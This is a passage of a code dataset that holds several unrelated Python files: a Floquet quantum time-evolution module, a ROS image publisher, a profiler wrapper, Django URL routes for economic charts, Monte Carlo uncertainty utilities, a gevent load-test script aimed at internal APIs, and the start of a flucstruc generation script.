_log.debug(log_message)\n if n_not_on_edge == n_values:\n lower, upper = lower + n_lower_edge, upper - n_upper_edge\n elif n_not_on_edge + n_lower_edge == n_values:\n lower, upper = lower, upper - n_upper_edge\n elif n_not_on_edge + n_upper_edge == n_values:\n lower, upper = lower + n_lower_edge, upper\n else:\n exception_message = \" \".join([\n \"Could not resolve the first Brillouin zone safely.\",\n \"You could try increasing the tolerance (decreasing the 'decimals'\",\n \"field), or adding a small constant term to your Hamiltonian.\",\n ])\n raise RuntimeError(exception_message)\n return eigenvalues[lower:upper], eigenvectors[lower:upper]\n\ndef _find_duplicates(array):\n \"\"\"\n Given a sorted 1D array of values, return an iterator where each element\n corresponds to one degenerate eigenvalue, and the element is a list of\n indices where that eigenvalue occurs.\n For example,\n find_duplicates([0, 0, 0, 1, 2, 2, 3])\n returns\n [[0, 1, 2], [4, 5]].\n Arguments --\n array: 1D sorted np.array --\n The array to find duplicates in. Should be rounded to the required\n precision already.\n Returns --\n duplicate_sets: iterator of np.array of int --\n An iterator yielding arrays of the indices of each duplicate entry.\n Entries which are not duplicated will not be referenced in the output.\n \"\"\"\n indices = np.arange(array.shape[0])\n _, start_indices = np.unique(array, return_index=True)\n # start_indices will always contain 0 first, but np.split doesn't need it.\n return filter(lambda x: x.size > 1, np.split(indices, start_indices[1:]))\n\ndef diagonalise(k, h_dimension, frequency, decimals):\n \"\"\"\n Find the eigenvalues and eigenvectors of the Floquet matrix `k`\n corresponding to the first \"Brillioun zone\". The eigenvectors corresponding\n to degenerate eigenvalues are orthogonalised, where degeneracy and\n orthoganlisation are done to a precision defined by `decimals`.\n\n Arguments --\n k: 2D np.array of complex | scipy.sparse.spmatrix --\n The full matrix form of the Floquet matrix. This can be given as either\n a dense `numpy` array, or any form of `scipy.sparse` array. In the\n latter case, the eigenvalues and vectors are found iteratively with a\n shift-invert method, which can cause issues when eigenvalues fall\n exactly on zero, or exactly on the border. The former case can\n typically be solved by adding a term proportional to the identity onto\n the Hamiltonian, and the latter should largely be taken care of by the\n code.\n\n h_dimension: int -- The dimension of the Hamiltonian.\n\n frequency: float --\n The angular frequency with which the Hamiltonian is periodic.\n\n decimals: int --\n The number of decimal places to use as a precision for orthogonalisation\n and comparison of degenerate eigenvalues.\n\n Returns --\n eigenvalues: 1D np.array of float --\n The eigenvalues of the `k` matrix which fall within the first Brillouin\n zone.\n eigenvectors: np.array(dtype=np.complex128,\n shape=(h_dimension, n_zones, h_dimension)) --\n The eigenvectors corresponding to the chosen eigenvalues. The first\n index matches the index of `eigenvalues`, then each eigenvector is\n shaped into the Brillouin zone blocks, so the second index runs along\n Floquet kets corresponding to a certain (potentially degenerate)\n quasi-energy.\n \"\"\"\n if scipy.sparse.issparse(k):\n # We get twice as many eigenvalues as necessary so we can guarantee we\n # have a full set in the first Brillouin zone, even if all of them fall\n # on the very edge of the zone. If this were to happen and we were only\n # taking the absolutely necessary number of eigenvalues, we would\n # sometimes duplicate an eigenvector without intending to.\n eigenvalues, eigenvectors =\\\n scipy.sparse.linalg.eigs(k, k=2*h_dimension, sigma=0.0)\n else:\n eigenvalues, eigenvectors = np.linalg.eig(k)\n eigenvalues = np.round(np.real(eigenvalues), decimals=decimals)\n eigenvectors = np.transpose(eigenvectors)\n edge = np.round(0.5 * frequency, decimals=decimals)\n eigenvalues, eigenvectors = _first_brillouin_zone(eigenvalues, eigenvectors,\n h_dimension, edge)\n for degeneracy in _find_duplicates(eigenvalues):\n eigenvectors[degeneracy] = linalg.gram_schmidt(eigenvectors[degeneracy])\n n_zones = k.shape[0] // h_dimension\n return eigenvalues, eigenvectors.reshape(h_dimension, n_zones, h_dimension)\n\n\n@numba.njit\ndef _k_ijv_constructor(hamiltonian, n_zones, frequency):\n \"\"\"\n Returns a tuple of\n values, (row_indices, col_indices)\n where all three names are 1D `numpy` arrays. These determine the `K` matrix\n in 'ijv' or 'triplet' format. See\n http://www.scipy-lectures.org/scipy_sparse/coo_matrix.html\n and other associated `scipy` pages for more information. This triplet form\n can be passed to the `coo`, `csc` or `csr` sparse matrix constructors,\n resulting in an efficient creation.\n \"\"\"\n nonzeros = [matrix.nonzero() for matrix in hamiltonian.matrix]\n rows, cols = [x[0] for x in nonzeros], [x[1] for x in nonzeros]\n dimension = hamiltonian.matrix[0].shape[0]\n n_elements = dimension * n_zones # include extra space for diagonal\n for mode, row in zip(hamiltonian.mode, rows):\n n_elements += row.size * (n_zones - abs(mode))\n row_out = np.empty(n_elements, dtype=np.int64)\n col_out = np.empty_like(row_out)\n val_out = np.empty(n_elements, dtype=np.complex128)\n start = 0\n for i, mode in enumerate(hamiltonian.mode):\n row, col, matrix = rows[i], cols[i], hamiltonian.matrix[i]\n val = np.array([matrix[row[k], col[k]] for k in range(row.size)])\n start_row, start_col = max(0, mode), max(0, -mode)\n n_blocks = n_zones - abs(mode)\n for j in range(n_blocks):\n row_out[start : start+row.size] = row + (start_row+j)*dimension\n col_out[start : start+row.size] = col + (start_col+j)*dimension\n val_out[start : start+row.size] = val\n start += row.size\n # When converting a `coo`-style matrix to `csc` or `csr`, duplicated\n # coordinates have their values summed. I add the diagonal `1, n*frequency`\n # operator values here as completely separated entries in the sparse matrix,\n # because it's easier to reason about what's happening. I then use the\n # documented summation property on conversion to `csc`. See\n # docs.scipy.org/doc/scipy/reference/generated/scipy.sparse.coo_matrix.html\n indices = np.arange(n_zones * dimension)\n row_out[start:] = indices\n col_out[start:] = indices\n for j in range(n_zones):\n val_out[start : start + dimension] = (j - n_zones//2) * frequency\n start += dimension\n return val_out, (row_out, col_out)\n\n@numba.njit\ndef _add_block(block, matrix, dim_block, n_block, row, col):\n start_row = row * dim_block\n start_col = col * dim_block\n stop_row = start_row + dim_block\n stop_col = start_col + dim_block\n matrix[start_row:stop_row, start_col:stop_col] += block\n\n@numba.njit\ndef assemble_k(hamiltonian, n_zones, frequency):\n dimension = hamiltonian.matrix[0].shape[0]\n k = np.zeros((n_zones*dimension, n_zones*dimension), dtype=np.complex128)\n for mode, matrix in zip(hamiltonian.mode, hamiltonian.matrix):\n n_blocks = n_zones - abs(mode)\n start_row, start_col = max(0, mode), max(0, -mode)\n for j in range(n_blocks):\n _add_block(matrix, k, dimension, n_zones, start_row+j, start_col+j)\n if mode == 0:\n block = np.eye(dimension) * frequency\n zone_max = (n_zones - 1) // 2\n for j, zone in enumerate(range(-zone_max, zone_max + 1)):\n _add_block(block*zone, k, dimension, n_zones, j, j)\n return k\n\ndef assemble_k_sparse(hamiltonian, n_zones, frequency):\n \"\"\"\n Directly assemble `K` as a sparse matrix in `csc` (Compressed Sparse Column)\n format. The sparser `K` is, the more efficient this way of doing things is.\n \"\"\"\n elements = _k_ijv_constructor(hamiltonian, n_zones, frequency)\n size = n_zones * hamiltonian.matrix[0].shape[0]\n # Use `csc` format for efficiency in the diagonalisation routine.\n return scipy.sparse.csc_matrix(elements, shape=(size, size))\n\n\n@numba.njit\ndef _dense_to_sparse(matrix):\n \"\"\"\n Convert a dense 2D numpy array of complex into the custom\n `ColumnSparseMatrix` format. This is probably not the most efficient way of\n doing things, but it's simple and easy to read.\n \"\"\"\n in_column = np.zeros(matrix.shape[1], dtype=np.int64)\n col, row = matrix.T.nonzero()\n value = np.empty(col.size, dtype=np.complex128)\n for i in range(col.size):\n in_column[col[i]] += 1\n value[i] = matrix[row[i], col[i]]\n return types.ColumnSparseMatrix(in_column, row, value)\n\n@numba.njit\ndef _single_dk_sparse(dhamiltonian, n_zones):\n \"\"\"\n Create a single sparse matrix for a single derivative.\n \"\"\"\n dimension = dhamiltonian.matrix[0].shape[0]\n matrices = [_dense_to_sparse(op) for op in dhamiltonian.matrix]\n n_elements = 0\n for i, mode in enumerate(dhamiltonian.mode):\n n_elements += matrices[i].value.size * (n_zones - abs(mode))\n in_column = np.zeros(n_zones * dimension, dtype=np.int64)\n row = np.empty(n_elements, dtype=np.int64)\n value = np.empty(n_elements, dtype=np.complex128)\n main_ptr = 0\n block_ptr = np.zeros(len(matrices), dtype=np.int64)\n block_mid_row = 0\n for zone_column in range(n_zones):\n for block_column in range(dimension):\n mode_lower, mode_upper = -zone_column, n_zones - zone_column\n for j, mode in enumerate(dhamiltonian.mode):\n if not mode_lower <= mode < mode_upper:\n continue\n n_to_add = matrices[j].in_column[block_column]\n in_column[zone_column*dimension + block_column] += n_to_add\n row_add = (block_mid_row + mode) * dimension\n for _ in range(n_to_add):\n row[main_ptr] = matrices[j].row[block_ptr[j]] + row_add\n value[main_ptr] = matrices[j].value[block_ptr[j]]\n main_ptr += 1\n block_ptr[j] += 1\n block_ptr[:] = 0\n block_mid_row += 1\n return types.ColumnSparseMatrix(in_column, row, value)\n\n@numba.njit\ndef assemble_dk(dhamiltonians, n_zones):\n \"\"\"\n Creates the `dK` matrix as a list of the custom `ColumnSparseMatrix` tuple.\n The only operation we need with the output matrix is an inner product ` = exp(-i energy[j] t) |phi_j(t)>,\n using the notation in Marcel's thesis, equation (1.13).\n \"\"\"\n weights = np.exp(time * eigensystem.abstract_ket_coefficients)\n weights = weights.reshape((1, -1, 1))\n return np.sum(weights * eigensystem.k_eigenvectors, axis=1)\n\n@numba.njit\ndef d_current_floquet_kets(eigensystem, time):\n \"\"\"\n Get the time derivatives of the Floquet basis kets\n (d/dt)|psi_j(t)> = -i energy[j] exp(-i energy[j] t) |phi_j(t)>\n + exp(-i energy[j] t) (d/dt)|phi_j(t)>,\n which are used in calculating `dU/dt`.\n \"\"\"\n weights = np.exp(time * eigensystem.abstract_ket_coefficients)\n weights = weights * eigensystem.abstract_ket_coefficients\n weights = weights.reshape((1, -1, 1))\n return np.sum(weights * eigensystem.k_eigenvectors, axis=1)\n\n\n@numba.njit\ndef u(eigensystem, time):\n \"\"\"\n Calculate the time-evolution operator at a certain time, using a\n pre-computed eigensystem.\n \"\"\"\n dimension = eigensystem.quasienergies.shape[0]\n out = np.zeros((dimension, dimension), dtype=np.complex128)\n kets = current_floquet_kets(eigensystem, time)\n energy_phases = np.exp(-1j * time * eigensystem.quasienergies)\n # This sum _can_ be achieved using only vectorised numpy operations, but it\n # involves allocating space for the whole set of outer products. Easier to\n # just use numba to compile the loop.\n for mode in range(dimension):\n out += np.outer(energy_phases[mode] * kets[mode],\n eigensystem.initial_floquet_bras[mode])\n return out\n\n\n@numba.njit\ndef du_dt(eigensystem, time):\n \"\"\"\n Calculate the time derivative of a time-evolution operator at a certain\n time, using a pre-computed eigensystem.\n \"\"\"\n dimension = eigensystem.quasienergies.shape[0]\n out = np.zeros((dimension, dimension), dtype=np.complex128)\n # Manually allocate calculation space for inside the loop.\n tmp = np.zeros_like(out)\n # These two function calls have some redundancy, but it's not really\n # important in the scheme of things.\n kets = current_floquet_kets(eigensystem, time)\n dkets_dt = d_current_floquet_kets(eigensystem, time)\n energy_factors = -1j * eigensystem.quasienergies\n energy_phases = np.exp(time * energy_factors)\n for mode in range(dimension):\n # Use the pre-allocated computation space to save allocations.\n np.outer(energy_phases[mode] * dkets_dt[mode],\n eigensystem.initial_floquet_bras[mode], out=tmp)\n out += tmp\n np.outer(energy_phases[mode] * kets[mode],\n eigensystem.initial_floquet_bras[mode], out=tmp)\n out += energy_factors[mode] * tmp\n return out\n\n\n@numba.njit\ndef _conjugate_rotate_into(out, input, amount):\n \"\"\"\n Equivalent to `out = np.conj(np.roll(input, amount, axis=0))`, but `roll()`\n isn't supported by numba. Also, we can directly write into `out` so we\n don't have any allocations in tight loops.\n \"\"\"\n amount = amount % input.shape[0]\n if amount < 0:\n out[:amount] = np.conj(input[abs(amount):])\n out[amount:] = np.conj(input[:abs(amount)])\n elif amount > 0:\n out[amount:] = np.conj(input[:-amount])\n out[:amount] = np.conj(input[-amount:])\n else:\n out[:] = np.conj(input)\n\n@numba.njit\ndef _column_sparse_ldot(vector, matrix):\n out = np.zeros_like(vector)\n i = 0\n for column, count in enumerate(matrix.in_column):\n for _ in range(count):\n out[column] += vector[matrix.row[i]] * matrix.value[i]\n i += 1\n return out\n\n@numba.njit\ndef integral_factors(eigensystem, time):\n \"\"\"\n Calculate the \"integral factors\" for use in the control-derivatives of the\n time-evolution operator. These are the\n e(j, j'; delta mu)\n from equation (1.48) in Marcel's thesis.\n \"\"\"\n n_zones = eigensystem.k_eigenvectors.shape[1]\n dimension = eigensystem.k_eigenvectors.shape[2]\n energies = eigensystem.quasienergies\n frequency = eigensystem.frequency\n energy_phases = np.exp(-1j * time * energies)\n differences = np.arange(1.0 - n_zones, n_zones)\n diff_exponentials = np.exp(1j * time * frequency * differences)\n out = np.empty((differences.shape[0], dimension, dimension),\n dtype=np.complex128)\n for diff_index in range(differences.shape[0]):\n separation = frequency * differences[diff_index]\n exponential = diff_exponentials[diff_index]\n for i in range(energies.shape[0]):\n for j in range(energies.shape[0]):\n prefactor = energy_phases[j] * exponential\n denom = energies[i] - energies[j] + separation\n if denom == 0.0:\n out[diff_index, i, j] = -1j * time * prefactor\n else:\n numer = energy_phases[i] - prefactor\n out[diff_index, i, j] = numer / denom\n return out\n\n@numba.njit\ndef combined_factors(eigensystem, time):\n \"\"\"\n Calculate the \"combined factors\" for use in the control-derivatives of the\n time evolution operator. These are the\n f(j, j'; delta mu)\n from equations (1.50) and (2.7) in Marcel's thesis.\n \"\"\"\n n_parameters = len(eigensystem.k_derivatives)\n n_zones = eigensystem.k_eigenvectors.shape[1]\n dimension = eigensystem.k_eigenvectors.shape[2]\n factors = np.empty((2*n_zones - 1, dimension, dimension, n_parameters),\n dtype=np.complex128)\n rolled_k_eigenbra = np.zeros((n_zones, dimension),\n dtype=np.complex128)\n expectation_left = np.empty((n_parameters, n_zones * dimension),\n dtype=np.complex128)\n k_eigenkets = eigensystem.k_eigenvectors\n energies = eigensystem.quasienergies\n integral_terms = integral_factors(eigensystem, time)\n for diff_index, diff in enumerate(range(1 - n_zones, n_zones)):\n for i in range(dimension):\n _conjugate_rotate_into(rolled_k_eigenbra, k_eigenkets[i], diff)\n bra = rolled_k_eigenbra.ravel()\n for p in range(n_parameters):\n expectation_left[p] =\\\n _column_sparse_ldot(bra, eigensystem.k_derivatives[p])\n for j in range(dimension):\n for parameter in range(n_parameters):\n expectation = expectation_left[parameter]\\\n @ k_eigenkets[j].ravel()\n factors[diff_index, i, j, parameter] =\\\n integral_terms[diff_index, i, j] * expectation\n return factors\n\n\n@numba.njit\ndef du_dcontrols(eigensystem, time):\n \"\"\"\n Calculate the derivatives of time-evolution operator with respect to the\n control parameters of the Hamiltonian at a certain time, using a\n pre-computed eigensystem. This is only possible if the eigensystem was\n created using the Hamiltonian derivatives as well.\n \"\"\"\n n_parameters = len(eigensystem.k_derivatives)\n n_zones, dimension = eigensystem.k_eigenvectors.shape[1:3]\n out = np.zeros((n_parameters, dimension, dimension), dtype=np.complex128)\n if n_parameters == 0:\n return out\n factors = combined_factors(eigensystem, time)\n current_kets = current_floquet_kets(eigensystem, time)\n k_eigenbras = np.conj(eigensystem.k_eigenvectors)\n for i in range(dimension):\n for j in range(dimension):\n bra = np.zeros((n_parameters, dimension), dtype=np.complex128)\n for zone_i in range(n_zones):\n factor = np.sum(factors[zone_i : zone_i+n_zones, i, j], axis=0)\n bra += factor.reshape(-1, 1) * k_eigenbras[j, zone_i]\n for parameter in range(n_parameters):\n out[parameter] += np.outer(current_kets[i], bra[parameter])\n return out\n","sub_path":"floq/evolution.py","file_name":"evolution.py","file_ext":"py","file_size_in_byte":24745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"275167815","text":"from cv_bridge import CvBridge\nimport numpy as np\nimport os\nimport cv2\nimport rospy\nfrom sensor_msgs.msg import Image\n\n\n\nif __name__ == '__main__': \n rgb_image_root = '../data/rgb_image_0048' \n file_list = []\n tmp_list = os.listdir(rgb_image_root)\n tmp_list.sort()\n for f in tmp_list:\n cur_file = os.path.join(rgb_image_root, f)\n file_list.append(cur_file)\n\n\n rospy.init_node('pub_rgb_image')\n pub_velo = rospy.Publisher(\"rgb_image\", Image, queue_size=1)\n rate = rospy.Rate(0.2)\n bridge = CvBridge()\n\n pc_num_counter = 0\n while not rospy.is_shutdown():\n rospy.loginfo(file_list[pc_num_counter])\n\n # pc_data = np.fromfile(file_list[pc_num_counter], dtype=np.float32).reshape(-1, 4)\n cv_image = cv2.imread(file_list[pc_num_counter]) \n image_message = bridge.cv2_to_imgmsg(cv_image, encoding=\"passthrough\")\n pub_velo.publish(image_message)\n # print(pc_data[0,0,:])\n #pc_data = pc_data[:, :, :4]\n #pc_data = np.fromfile(file_list[pc_num_counter], dtype=np.float32).reshape(-1, 4)\n\n\n pc_num_counter = pc_num_counter + 1\n if pc_num_counter >= len(file_list):\n pc_num_counter = 0\n rate.sleep()\n","sub_path":"script/pub_rgb_image.py","file_name":"pub_rgb_image.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"403909378","text":"from nidm.experiment.tools.rest import RestParser\nimport cProfile\n\ndef go():\n restParser = RestParser(output_format=RestParser.OBJECT_FORMAT, verbosity_level=5)\n result = restParser.run([\"ttl/cmu_a.nidm.ttl\"], \"projects/dad0f09c-49ec-11ea-9fd8-003ee1ce9545?fields=fs_000003\")\n print (result)\n\nif __name__ == '__main__':\n cProfile.run('go()', filename='profile.output.txt')\n","sub_path":"profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"292177954","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n # 主页\n url(r'^$', views.index, name='index'),\n #网站简介\n url(r'^brief/$',views.index_brief,name='brief'),\n #中国经济地图2011\n url(r'^chinamap_2011/$',views.ChinaMap_2011,name='chinamap_2011'),\n url(r'^chinamap_2012/$',views.ChinaMap_2012,name='chinamap_2012'),\n url(r'^chinamap_2013/$',views.ChinaMap_2013,name='chinamap_2013'),\n url(r'^chinamap_2014/$',views.ChinaMap_2014,name='chinamap_2014'),\n url(r'^chinamap_2015/$',views.ChinaMap_2015,name='chinamap_2015'),\n url(r'^chinamap_2016/$',views.ChinaMap_2016,name='chinamap_2016'),\n url(r'^chinamap_2017/$',views.ChinaMap_2017,name='chinamap_2017'),\n #分地区的经济信息柱状3d图\n url(r'^Area_3d/$',views.Area_3d,name='Area_3d'),\n #地区经济信息漏斗图\n url(r'^Lou_Dou_2011/$',views.LouDou_2011,name='LouDou_2011'),\n url(r'^Lou_Dou_2012/$',views.LouDou_2012,name='LouDou_2012'),\n url(r'^Lou_Dou_2013/$',views.LouDou_2013,name='LouDou_2013'),\n url(r'^Lou_Dou_2014/$',views.LouDou_2014,name='LouDou_2014'),\n url(r'^Lou_Dou_2015/$',views.LouDou_2015,name='LouDou_2015'),\n url(r'^Lou_Dou_2016/$',views.LouDou_2016,name='LouDou_2016'),\n url(r'^Lou_Dou_2017/$',views.LouDou_2017,name='LouDou_2017'),\n #地区经济信息,以数据展示\n url(r'^number_list1/$',views.GDP_message,name=\"number_list1\"),\n\n #GDP分布及构成图\n url(r'^compose/$',views.Compose,name=\"compose\"),\n #GDP分布数据展示\n url(r'^compose_list/$',views.Compose_list,name='compose_list'),\n\n #城市农村对比图\n url(r'^Level_year/$',views.Level_year,name='Level_year'),\n\n #数据展示\n url(r'^Show_level/$',views.Show_level,name='show_level'),\n\n # 2017年全国各地区居民消费水平对比.html\n url(r\"^Duibi_show/$\",views.Duibi,name='Duibi_show'),\n\n\n]","sub_path":"index/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"456746056","text":"import numpy as np\nimport csv\nimport time\nimport sys\nimport argparse\nimport os\nimport random\nimport protocols\nimport utils\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-m\", \"--model-type\", default=\"grid\", help=\"type of graphical model\")\nparser.add_argument(\n \"-alg\", \"--algorithms\", nargs=\"+\", default=[\"ijgp\"], help=\"algorithms to be tested\"\n)\nparser.add_argument(\"--seed\", type=int, default=0)\nargs = parser.parse_args()\n\nnp.random.seed(args.seed)\nrandom.seed(args.seed)\n\nmodel_protocol = protocols.model_protocol_dict[args.model_type]\ninference_protocols = [protocols.inference_protocol_dict[name] for name in args.algorithms]\n\nsize = 15\ndelta = 1.0\nmin_ibound, max_ibound, nb_ibound = 4, 10, 3\nibounds = np.linspace(min_ibound, max_ibound, nb_ibound)\nnb_experiments = 91\nfile_name = \"ibound[model={}_delta={:.1f}_ibound[min={:d}_max={:d}_num={:d}]].csv\".format(\n args.model_type, delta, min_ibound, max_ibound, nb_ibound\n)\n\nfor i in range(nb_experiments):\n for ibound in ibounds:\n ibound = int(ibound)\n model = model_protocol[\"generator\"](size, delta)\n true_logZ = model_protocol[\"true_inference\"](model)\n for ip in inference_protocols:\n if ip[\"use_ibound\"]:\n alg = ip[\"algorithm\"](model, ibound)\n else:\n alg = ip[\"algorithm\"](model)\n\n tic = time.time()\n logZ = alg.run(**ip[\"run_args\"])\n err = np.abs(true_logZ - logZ)\n toc = time.time()\n\n print(\"Alg: {:15}, Error: {:15.4f}, Time: {:15.2f}\".format(ip[\"name\"], err, toc - tic))\n\n utils.append_to_csv(file_name, [ibound, ip[\"name\"], err, toc - tic])\n","sub_path":"run_ibound.py","file_name":"run_ibound.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"387158856","text":"# -*- coding: utf-8 -*-\n\"\"\"\nMC_Tools_PTB V1.2 (NMISA)\nCreated on Mon Feb 1 12:07:30 2021\n\nMC_Tools_PTB summarizes functions from Scipy and Numpy to new functions useful for monte carlo simulations.\nAn additional function for summarizing the output of a monte carlo simulation for a single output quantity is given.\n\nV 1.0 PTB internal version with specific functions for data handling in TDMS and evaluating LSA spectra\nV 1.1 PTB internal version with full english commentary\nV 1.2 (NMISA) Removed PTB specific data handling and spectral evaluation\n---------------------------------\nOverview:\n\n -drawValues Draws values from a given distribution returning a numpy array of values\n -drawFromArray Draws values from an array of measurement data according to a Student-T-distribution returning a numpy array of values\n -sumMC Summarizes the monte carlo draws for a single quantity\n -drawMultiVariate Draws values from a multivariate distribution taking a correlation matrix into account\n -correlation Calculates the correlation matrix\n -corrPlot Plots the values of a correlation matrix\n\n---------------------------------\n\n\n@author: schnei19\n@modified: UK\n\"\"\"\n\nimport numpy as np\nimport pandas\nimport scipy.stats as stats\nimport math\n\n__all__ = ['draw_values_gum','sumMC', 'sumMCV']\n\ndef draw_values_gum(mean=0, stddev=1, draws=1000, distribution=\"normal\"):\n \"\"\"\n UK/210807 mod. version from drawValues\n Attention: Without T-distribution\n Generating different distributions with mean and stddev in the result.\n\n Generates draws number of values from several usually used distribution types using stats.\n As stddev the absolute standard measurement uncertainty has to be given.\n\n If called with Numpy-Arrays of mean and stddev a Matrix is returned\n with len(mean) rows and draws columns (shape=(len(mean), draws)).\n\n Example:\n draw_values_gum(mean=1, stddev=0.5, draws=1000, distribution=\"normal\")\n draw_values_gum(mean=np.array([0.,3.]), stddev=np.array([1.,10.]), draws=1000, \\\n distribution=\"triangle\")\n\n Defaultvalues:\n mean = 0.\n stddev = 1.\n draws = 1000\n distribution = \"normal\"\n\n Implemented are these distribution types: \"normal\", \"uniform\" and \"triangle\"\n\n \"\"\"\n try:\n size = (draws, len(mean))\n except (TypeError, AttributeError) as e:\n size = (draws)\n\n if distribution == \"normal\":\n samples = stats.norm.rvs(loc=mean, scale=stddev, size=size)\n return samples.T\n if distribution == \"uniform\":\n w = math.sqrt(3) * stddev\n a = mean - w\n b = mean + w\n samples = stats.uniform.rvs(loc=a, scale=b - a, size=size)\n return samples.T\n if distribution == \"triangle\":\n w = math.sqrt(6) * stddev\n a = mean - w\n b = mean + w\n m = (b + a) / 2.\n samples = stats.triang.rvs(loc=a, scale=b - a, c=w / (2 * w), size=size)\n return samples.T\n return 0\n\n\ndef sumMC(InputValues, Coverage=0.95):\n \"\"\"\n Based on InputValues for one quantity and the given coverage the measurement uncertainty based on montecarlo results is calculated.\n\n Output is returned as: [[Mean, absolute Standarduncertainty],[lower coverage boundary, upper coverage boundary]]\n\n Example: sumMC([Numpy array], Coverage = 0.99)\n\n Defaultvalue:\n Coverage = 0.95 (k=2 for normal distributions)\n \"\"\"\n # Sorting of the input values\n Ys = np.sort(InputValues, axis=None)\n # Calculating the number of draws\n Ylen = len(Ys)\n # Calculating the number of draws covering the given coverage\n q = int(Ylen * Coverage)\n # Calculating the draw representing the lower coverage intervall boundary\n r = int(0.5 * (Ylen - q))\n # Calculating the mean of the input values\n ymean = np.mean(Ys)\n # Calculating standard deviation of the input values as absolute standard uncertainty\n yunc = np.std(Ys)\n # Summarizing mean and uncertainty\n values = [ymean, yunc]\n # Calculating the values of the draws for lower and upper boundary of the coverage intervall\n ylow = Ys[r]\n yhigh = Ys[r + q]\n # Summarizing the coverage intervall\n interval = [ylow, yhigh]\n # Summarizing the total output\n output = [values, interval]\n # Returns the output values\n return (output)\n\ndef sumMCV(InputValues, Coverage=0.95):\n \"\"\"\n Based on sumMC\n Based on InputValues as an Array (trials, wavelength) for one quantity and the given coverage the measurement uncertainty\n based on montecarlo results is calculated.\n\n Output is returned as: [[Mean, absolute Standard uncertainty],[lower coverage boundary, upper coverage boundary]] as vectors\n\n Example: sumMCV([Numpy array], Coverage = 0.99)\n\n Defaultvalue:\n Coverage = 0.95 (k=2 for normal distributions)\n \"\"\"\n # Sorting of the input values\n Ys = np.sort(InputValues, axis=0)\n # Calculating the number of draws\n Ylen = Ys.shape[0]\n # Calculating the number of draws covering the given coverage\n q = int(Ylen * Coverage)\n # Calculating the draw representing the lower coverage intervall boundary\n r = int(0.5 * (Ylen - q))\n # Calculating the mean of the input values\n ymean = np.mean(Ys, axis=0)\n # Calculating standard deviation of the input values as absolute standard uncertainty\n yunc = np.std(Ys, axis=0)\n # Summarizing mean and uncertainty\n values = [ymean, yunc]\n # Calculating the values of the draws for lower and upper boundary of the coverage intervall\n ylow = Ys[r,:]\n yhigh = Ys[r + q,:]\n # Summarizing the coverage intervall\n interval = [ylow, yhigh]\n # Summarizing the total output\n output = [values, interval]\n return (output)\n\ndef main():\n # Test the default values\n res1=draw_values_gum()\n [data1, interval1] = sumMC( res1)\n print ('Mean1:', data1[0], 'StdDev:', data1[1], 'Interval:', interval1[0], interval1[1])\n\n # test a 1D Array for mean / stddev\n mean = np.array([1, 2])\n stddev = np.array([2,3])\n draws=1000\n dist = 'normal'\n res2=draw_values_gum(mean=mean, stddev=stddev, draws=draws, distribution=dist)\n [data2, interval2] = sumMC( res2[0])\n print ('Mean2:', data2[0], 'StdDev:', data2[1], 'Interval:', interval2[0], interval2[1])\n [data3, interval3] = sumMC( res2[1])\n print ('Mean3:', data3[0], 'StdDev:', data3[1], 'Interval:', interval3[0], interval3[1])\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"empir19nrm02/tools/draw_values.py","file_name":"draw_values.py","file_ext":"py","file_size_in_byte":6496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"48038427","text":"# coding=utf-8\nimport gevent\nimport gevent.monkey\ngevent.monkey.patch_all()\nimport urllib2\nimport time\nimport random\nurls = [\n 'http://172.31.2.23:8888/api/electrical/hostDevice/',\n 'http://172.31.2.23:8888/api/cameras/',\n 'http://172.31.2.23:8888/api/access/',\n 'http://172.31.2.23:8888/api/alarmDeviceInfo/',\n 'http://172.31.2.23:8888/api/packingRegions/',\n]\n\ndef test():\n #if 1:\n while 1:\n s = random.randint(0,10)\n for item in urls:\n t1 = random.randint(1, 50) \n for i in range(t1):\n gevent.spawn(urllib2.urlopen, item)\n\n gevent.sleep(s)\n\nif __name__ == '__main__':\n test()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"153468382","text":"\"\"\" Try band limited generation of flucstrucs\nfrom gen_fs_local Feb 2013\n#exception=None catches no exceptions, so you get a stop and a traceback\n#exception=Exception catches all, so it continues, but no traceback\npython dm/gen_fs.py shot_range=[27233] exception=None\n\n71 secs to sqlite.txt (9MB) (21.2k in basedata, 3.5k fs, 17.7k float_delta\n34 secs with db, but no fs_set.save()\n17 secs to text 86kB - but only 1k fs\n\"\"\"\nimport subprocess, sys, warnings\nfrom pyfusion.utils.utils import warn\nfrom numpy import sqrt, mean, argsort, average, random\nimport numpy as np\nimport pyfusion\nfrom pyfusion.debug_ import debug_\nimport sys\nfrom time import sleep\nimport os\nfrom pyfusion.data.utils import find_signal_spectral_peaks, subdivide_interval\n\n_var_default=\"\"\"\nlhd = pyfusion.getDevice('LHD')\n\n#min_shot = 84000\n#max_shot = 94000\n#every_nth = 10\n\n#shot_range = range(int(sys.argv[1]), int(sys.argv[2]), int(sys.argv[3]))\n\ndebug=0\nshot_range = [27233]\n#shot_range = range(90090, 90110)\nn_samples = 512\noverlap=1.0\ndiag_name= 'MP'\nexception=Exception\ntime_range = None\nmin_svs=2\nmax_H=0.97\ninfo=2\nseparate=1\nmethod='rms'\ndf = 2e3 #Hz\nfmax = None\nmax_bands = 4\n\n# ids are usually handled by sqlalchemy, without SQL we need to look after them ourselves\nfs_id = 0\n\"\"\"\nexec(_var_default)\n\n# ideally should be a direct call, passing the local dictionary\nimport pyfusion.utils\nexec(pyfusion.utils.process_cmd_line_args())\n\ncount = 0 # we print the header right before the first data\n\nfor shot in shot_range:\n while(os.path.exists(pyfusion.root_dir+'/pause')):\n print('paused until '+ 